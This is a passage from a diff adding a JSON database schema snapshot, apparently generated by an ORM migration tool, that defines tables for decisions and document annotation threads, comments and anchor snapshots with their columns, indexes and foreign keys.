+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "rule_key": {
+          "name": "rule_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "options": {
+          "name": "options",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "inputs": {
+          "name": "inputs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "execution_status": {
+          "name": "execution_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "chosen_option_id": {
+          "name": "chosen_option_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "input_values": {
+          "name": "input_values",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_user_id": {
+          "name": "decided_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_at": {
+          "name": "decided_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "signed_spec": {
+          "name": "signed_spec",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_snapshots": {
+          "name": "target_snapshots",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "continuation_policy": {
+          "name": "continuation_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decisions_company_status_expires_at_idx": {
+          "name": "decisions_company_status_expires_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decisions_bundle_idx": {
+          "name": "decisions_bundle_idx",
+          "columns": [
+            {
+              "expression": "bundle_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decisions_origin_issue_idx": {
+          "name": "decisions_origin_issue_idx",
+          "columns": [
+            {
+              "expression": "origin_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decisions_company_idempotency_uq": {
+          "name": "decisions_company_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"decisions\".\"idempotency_key\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decisions_company_id_companies_id_fk": {
+          "name": "decisions_company_id_companies_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decisions_bundle_id_decision_bundles_id_fk": {
+          "name": "decisions_bundle_id_decision_bundles_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "decision_bundles",
+          "columnsFrom": [
+            "bundle_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "decisions_origin_agent_id_agents_id_fk": {
+          "name": "decisions_origin_agent_id_agents_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "origin_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decisions_origin_issue_id_issues_id_fk": {
+          "name": "decisions_origin_issue_id_issues_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "origin_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decisions_origin_run_id_heartbeat_runs_id_fk": {
+          "name": "decisions_origin_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "origin_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.document_annotation_anchor_snapshots": {
+      "name": "document_annotation_anchor_snapshots",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "thread_id": {
+          "name": "thread_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "from_revision_id": {
+          "name": "from_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "from_revision_number": {
+          "name": "from_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "to_revision_id": {
+          "name": "to_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "to_revision_number": {
+          "name": "to_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "previous_anchor": {
+          "name": "previous_anchor",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "next_anchor": {
+          "name": "next_anchor",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "anchor_state": {
+          "name": "anchor_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "anchor_confidence": {
+          "name": "anchor_confidence",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_annotation_anchor_snapshots_company_thread_created_at_idx": {
+          "name": "document_annotation_anchor_snapshots_company_thread_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "thread_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_anchor_snapshots_company_document_revision_idx": {
+          "name": "document_annotation_anchor_snapshots_company_document_revision_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "to_revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_annotation_anchor_snapshots_company_id_companies_id_fk": {
+          "name": "document_annotation_anchor_snapshots_company_id_companies_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_thread_id_document_annotation_threads_id_fk": {
+          "name": "document_annotation_anchor_snapshots_thread_id_document_annotation_threads_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "document_annotation_threads",
+          "columnsFrom": [
+            "thread_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_document_id_documents_id_fk": {
+          "name": "document_annotation_anchor_snapshots_document_id_documents_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_from_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_anchor_snapshots_from_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "from_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_to_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_anchor_snapshots_to_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "to_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.document_annotation_comments": {
+      "name": "document_annotation_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "thread_id": {
+          "name": "thread_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_type": {
+          "name": "author_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_comment_id": {
+          "name": "issue_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_annotation_comments_company_thread_created_at_idx": {
+          "name": "document_annotation_comments_company_thread_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "thread_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_issue_created_at_idx": {
+          "name": "document_annotation_comments_company_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_routine_created_at_idx": {
+          "name": "document_annotation_comments_company_routine_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_case_created_at_idx": {
+          "name": "document_annotation_comments_company_case_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_document_created_at_idx": {
+          "name": "document_annotation_comments_company_document_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_issue_comment_idx": {
+          "name": "document_annotation_comments_issue_comment_idx",
+          "columns": [
+            {
+              "expression": "issue_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_body_search_idx": {
+          "name": "document_annotation_comments_body_search_idx",
+          "columns": [
+            {
+              "expression": "body",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_annotation_comments_company_id_companies_id_fk": {
+          "name": "document_annotation_comments_company_id_companies_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_thread_id_document_annotation_threads_id_fk": {
+          "name": "document_annotation_comments_thread_id_document_annotation_threads_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "document_annotation_threads",
+          "columnsFrom": [
+            "thread_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_issue_id_issues_id_fk": {
+          "name": "document_annotation_comments_issue_id_issues_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_routine_id_routines_id_fk": {
+          "name": "document_annotation_comments_routine_id_routines_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_case_id_cases_id_fk": {
+          "name": "document_annotation_comments_case_id_cases_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_document_id_documents_id_fk": {
+          "name": "document_annotation_comments_document_id_documents_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_author_agent_id_agents_id_fk": {
+          "name": "document_annotation_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "document_annotation_comments_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_issue_comment_id_issue_comments_id_fk": {
+          "name": "document_annotation_comments_issue_comment_id_issue_comments_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "issue_comments",
+          "columnsFrom": [
+            "issue_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "document_annotation_comments_exactly_one_owner_chk": {
+          "name": "document_annotation_comments_exactly_one_owner_chk",
+          "value": "num_nonnulls(\"document_annotation_comments\".\"issue_id\", \"document_annotation_comments\".\"routine_id\", \"document_annotation_comments\".\"case_id\") = 1"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.document_annotation_threads": {
+      "name": "document_annotation_threads",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_key": {
+          "name": "document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "anchor_state": {
+          "name": "anchor_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "original_revision_id": {
+          "name": "original_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "original_revision_number": {
+          "name": "original_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "current_revision_id": {
+          "name": "current_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "current_revision_number": {
+          "name": "current_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "selected_text": {
+          "name": "selected_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "prefix_text": {
+          "name": "prefix_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "suffix_text": {
+          "name": "suffix_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "normalized_start": {
+          "name": "normalized_start",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "normalized_end": {
+          "name": "normalized_end",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "markdown_start": {
+          "name": "markdown_start",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "markdown_end": {
+          "name": "markdown_end",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "anchor_confidence": {
+          "name": "anchor_confidence",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'exact'"
+        },
+        "anchor_selector": {
+          "name": "anchor_selector",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_agent_id": {
+          "name": "resolved_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_annotation_threads_company_document_status_idx": {
+          "name": "document_annotation_threads_company_document_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_issue_status_idx": {
+          "name": "document_annotation_threads_company_issue_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_routine_status_idx": {
+          "name": "document_annotation_threads_company_routine_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_case_status_idx": {
+          "name": "document_annotation_threads_company_case_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_current_revision_open_idx": {
+          "name": "document_annotation_threads_company_current_revision_open_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "current_revision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_anchor_state_idx": {
+          "name": "document_annotation_threads_company_anchor_state_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "anchor_state",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_annotation_threads_company_id_companies_id_fk": {
+          "name": "document_annotation_threads_company_id_companies_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_issue_id_issues_id_fk": {
+          "name": "document_annotation_threads_issue_id_issues_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_routine_id_routines_id_fk": {
+          "name": "document_annotation_threads_routine_id_routines_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_case_id_cases_id_fk": {
+          "name": "document_annotation_threads_case_id_cases_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_document_id_documents_id_fk": {
+          "name": "document_annotation_threads_document_id_documents_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_original_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_threads_original_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "original_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_current_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_threads_current_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "current_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_created_by_agent_id_agents_id_fk": {
+          "name": "document_annotation_threads_created_by_agent_id_agents_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_resolved_by_agent_id_agents_id_fk": {
+          "name": "document_annotation_threads_resolved_by_agent_id_agents_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "resolved_by_agent_id"
+          ],
+          "columnsTo": [
